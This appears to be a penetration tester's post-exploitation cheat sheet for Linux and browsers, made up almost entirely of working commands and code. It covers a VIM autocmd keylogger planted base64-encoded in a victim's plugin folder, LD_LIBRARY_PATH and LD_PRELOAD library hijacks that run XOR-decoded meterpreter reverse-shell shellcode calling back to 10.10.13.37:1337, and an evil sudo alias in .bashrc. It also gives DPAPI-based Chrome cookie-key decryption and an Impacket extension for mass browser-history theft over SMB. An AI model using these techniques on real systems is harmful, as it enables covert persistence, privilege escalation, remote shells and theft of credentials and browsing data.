Post Exploitation
General Post Exploitation
Linux
Search SSH logs for connection source IPs:
$ sudo zgrep -ah sshd /var/log/auth.log* | grep AcceptedVIM Keylogger
Create a VIM config that will save contents of a modified file when ran with sudo:
:if $USER == "root"
:autocmd BufWritePost * :silent :w! >> /tmp/tmp0x031337
:endif$ sudo -u victim mkdir -p /home/victim/.vim/plugin
$ sudo -u victim bash -c 'echo -n OmlmICRVU0VSID09ICJyb290Igo6YXV0b2NtZCBCdWZXcml0ZVBvc3QgKiA6c2lsZW50IDp3ISA+PiAvdG1wL3RtcDB4MDMxMzM3CjplbmRpZgo=|base64 -d > /home/victim/.vim/plugin/settings.vim'Shared Libraries Hijacking
LD_LIBRARY_PATH
LD_LIBRARY_PATHFor example, target executable will be /usr/bin/top.
Code skeleton:
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
static void hijack() __attribute__((constructor));
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] =
"\x31\x33\...\x33\x37";
void hijack() {
setuid(0);
setgid(0);
printf("Library hijacked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) { buf[i] = buf[i] ^ 'a'; }
intptr_t pagesize = sysconf(_SC_PAGESIZE);
mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC);
int (*ret)() = (int(*)())buf;
ret();
}Get all shared libraries loaded by target executable:
$ ldd /usr/bin/top
...
libgpg-error.so.0 => /lib/x86_64-linux-gnu/libgpg-error.so.0We'll be targeting the libgpg-error.so.0 library. Include defined symbols of the original library in our custom library:
$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print "int",$8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> fakelib.cCreate a map file with version information of defined symbols:
$ echo 'GPG_ERROR_1.0 {' > gpg.map
$ readelf -s --wide /lib/x86_64-linux-gnu/libgpg-error.so.0 | grep FUNC | grep GPG_ERROR | awk '{print $8}' | sed 's/@@GPG_ERROR_1.0/;/g' >> gpg.map
$ echo '};' >> gpg.mapPrepare the listener, compile, export LD_LIBRARY_PATH and run top:
$ gcc -Wall -fPIC -c -o fakelib.o fakelib.c
$ gcc -shared -Wl,--version-script gpg.map -o libgpg-error.so.0 fakelib.o
$ sudo LD_LIBRARY_PATH=/home/snovvcrash/ldlib topLD_PRELOAD
LD_PRELOADFor example, target executable will be /bin/cp.
Determine which functions are executed by /bin/cp via LD_PRELOAD:
$ ltrace cp
...
getuid()
...We'll be hooking the getuid() function:
#define _GNU_SOURCE
#include <sys/mman.h>
#include <stdlib.h>
#include <stdio.h>
#include <dlfcn.h>
#include <unistd.h>
// msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.13.37 LPORT=1337 -f c -o met.c --encrypt xor --encrypt-key a
unsigned char buf[] =
"\x31\x33\...\x33\x37";
uid_t geteuid(void)
{
typeof(geteuid) *getuid_orig;
getuid_orig = dlsym(RTLD_NEXT, "geteuid");
if (fork() == 0) // if inside the forked process
{
setuid(0);
setgid(0);
printf("Function hooked!\n");
int bufsize = (int)sizeof(buf);
for (int i = 0; i < bufsize-1; i++) {
buf[i] = buf[i] ^ 'a';
}
intptr_t pagesize = sysconf(_SC_PAGESIZE);
if (mprotect((void *)(((intptr_t)buf) & ~(pagesize - 1)), pagesize, PROT_READ|PROT_EXEC)) {
perror("mprotect");
return -1;
}
int (*ret)() = (int(*)())buf;
ret();
}
else // if inside the original process
{
printf("Returning from original...\n");
return (*getuid_orig)();
}
printf("Returning from main...\n");
return -2;
}Compile:
$ gcc -Wall -fPIC -z execstack -c -o evilgetuid.o evilgetuid.c
$ gcc -shared -o evilgetuid.so evilgetuid.o -ldlCreate an evil alias to preserve environment variables when running cp with sudo (good candidates are .bashrc and .bash_profile):
alias sudo="sudo LD_PRELOAD=/home/victim/evilgetuid.so"Run the target executable:
$ sudo cp /etc/passwd /tmp/passwdBrowsers
Chrome / Chromium
Local State Key Decryption (v20+)
Local state key manual decryption (via DPAPI):
$ get C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State
$ cat 'Local State' | jq '.os_crypt.encrypted_key' -r | base64 -d | tail -c +6 | base64 -w0; echo
PS > Add-Type -AssemblyName System.Security
PS > $decrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String("<BASE64_BLOB>"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
PS > !echo -n $decrypted | base64 -d | od -v -An -tx1 | tr -d ' \n'; echo
PS > .\SharpChrome.exe cookies /statekey:$stateKeyApp-bound local state key manual decryption (via DPAPI) doing LocalSystem to User context swap:
$ get C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State
$ cat 'Local State' | jq '.os_crypt.app_bound_encrypted_key' -r | base64 -d | tail -c +5 | base64 -w0; echo
PS (LocalSystem) > Add-Type -AssemblyName System.Security
PS (LocalSystem) > $systemDecrypted = [Convert]::ToBase64String([System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String("<BASE64_BLOB>"), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser))
PS (User) > $userDecrypted = [System.Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String($systemDecrypted), $null, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
PS (User) > [Text.Encoding]::ASCII.GetString($userDecrypted)
# Chromium
PS (User) > $stateKey = ($userDecrypted[-32..-1] | % ToString x2) -join ''
# Chrome
## AES GCM (flag == decrypted_key[0] == 0x01)
$ python -c "import binascii; from Crypto.Cipher import AES; user_decrypted = '$userDecrypted'; decrypted_key = binascii.a2b_base64(user_decrypted)[-61:]; elevation_service_key = bytes.fromhex('B31C6E241AC846728DA9C1FAC4936651CFFB944D143AB816276BCC6DA0284787'); cipher = AES.new(elevation_service_key, AES.MODE_GCM, nonce=decrypted_key[1:1+12]); print(cipher.decrypt_and_verify(decrypted_key[13:45], decrypted_key[45:]).hex())"
## ChaCha20 (flag == decrypted_key[0] == 0x02)
$ python -c "import binascii; from Crypto.Cipher import ChaCha20_Poly1305; user_decrypted = '$userDecrypted'; decrypted_key = binascii.a2b_base64(user_decrypted)[-61:]; elevation_service_key = bytes.fromhex('E98F37D7F4E1FA433D19304DC2258042090E2D1D7EEA7670D41F738D08729660'); cipher = ChaCha20_Poly1305.new(key=elevation_service_key, nonce=decrypted_key[1:1+12]); print(cipher.decrypt_and_verify(decrypted_key[13:45], decrypted_key[45:]).hex())"
PS (User) > .\SharpChrome.exe cookies /statekey:$stateKeyTools
Mass History Harvesting
Collect SQLite history DBs:
$ cat get_browser_history.cmd
use c$
getBrowserHistory edge chrome
$ for comp in `cat comps.txt`; do KRB5CCNAME=tickets/"`echo $comp | cut -d'.' -f1`".ccache proxychains4 -q smbclient.py -k -no-pass $comp -inputfile get_browser_history.cmd; sleep 2; doneImpacket's smbclient.py extension and parsing code to extract latest visits per a domain from urls table:
def do_getBrowserHistory(self, browsers):
browsers = [name.lower() for name in browsers.split()]
for browser in browsers:
if browser not in ('edge', 'chrome'):
LOG.error(f'Unsupported browser: {browser}')
return False
usernames = []
try:
for item in self.smb.listPath(self.share, '\\Users\\*'):
username = item.get_longname()
if item.is_directory() and username not in ('.', '..'):
usernames.append(username)
except Exception as e:
LOG.error(f'Failed to enumerate user homes: {e}')
return False
browser_configs = dict.fromkeys(browsers, [])
for browser in browsers:
if browser == 'edge':
browser_configs[browser] = ('msedge.exe', 'Microsoft\\Edge')
elif browser == 'chrome':
browser_configs[browser] = ('chrome.exe', 'Google\\Chrome')
history_to_get = dict.fromkeys(browsers, [])
for browser, config in browser_configs.items():
for username in usernames:
browser_history_path = f'\\Users\\{username}\\AppData\\Local\\{config[1]}\\User Data\\Default\\History'
try:
_ = self.smb.listPath(self.share, browser_history_path)
except:
pass
else:
history_to_get[browser].append((browser_history_path, f'{username}_Default'))
browser_history_path = f'\\Users\\{username}\\AppData\\Local\\{config[1]}\\User Data\\Profile*'
try:
for profile in self.smb.listPath(self.share, browser_history_path):
profile = profile.get_longname()
browser_history_path = browser_history_path.rsplit('\\', 1)[0] + f'\\{profile}\\History'
history_to_get[browser].append((browser_history_path, f'{username}_{profile.replace(" ", "")}'))
except:
pass
for browser, histories in history_to_get.items():
if histories:
for history in histories:
history_path, username = history
self.do_get(history_path)
new_history_name = f'history_{self.target_name}_{username}_{browser}_{datetime.now().strftime("%Y%m%dT%H%M%S")}.sqlite'
os.rename('History', new_history_name)
if Path(new_history_name).exists():
LOG.info(f'Downloaded "C:{history_path}" to "{new_history_name}"')# python -u parse_urls.py | grep -i megacorp.com | less
import os
import sqlite3
from urllib.parse import urlparse
from datetime import datetime, timezone
def convert_chromium_time(webkit_timestamp):
try:
unix_timestamp = webkit_timestamp / 1000000 - 11644473600
return datetime.fromtimestamp(unix_timestamp, timezone.utc)
except Exception as e:
return None
def extract_domain_latest_visit(db_path):
domain_latest = {}
try:
conn = sqlite3.connect(db_path)
cursor = conn.cursor()
query = """
SELECT urls.url, visits.visit_time
FROM urls
JOIN visits ON urls.id = visits.url;
"""
cursor.execute(query)
rows = cursor.fetchall()
for url, visit_time in rows:
parsed = urlparse(url)
domain = parsed.netloc
dt = convert_chromium_time(visit_time)
if dt is None:
continue
if domain not in domain_latest or dt > domain_latest[domain]:
domain_latest[domain] = dt
except Exception as e:
print(f'[!] Failed to process DB "{db_path}": {e}')
finally:
if 'conn' in locals():
conn.close()
return domain_latest
def main():
for db in [f for f in os.listdir('.') if os.path.isfile(f) and f.endswith('.sqlite')]:
domain_latest = extract_domain_latest_visit(db)
if domain_latest:
for domain, dt in sorted(domain_latest.items(), key=lambda x: x[1], reverse=True):
print(f'{db}: {domain} ({dt.strftime("%Y-%m-%d %H:%M:%S")})')
if __name__ == '__main__':
main()Yandex Browser
Tools
cookie_crimes
CursedChrome
Last updated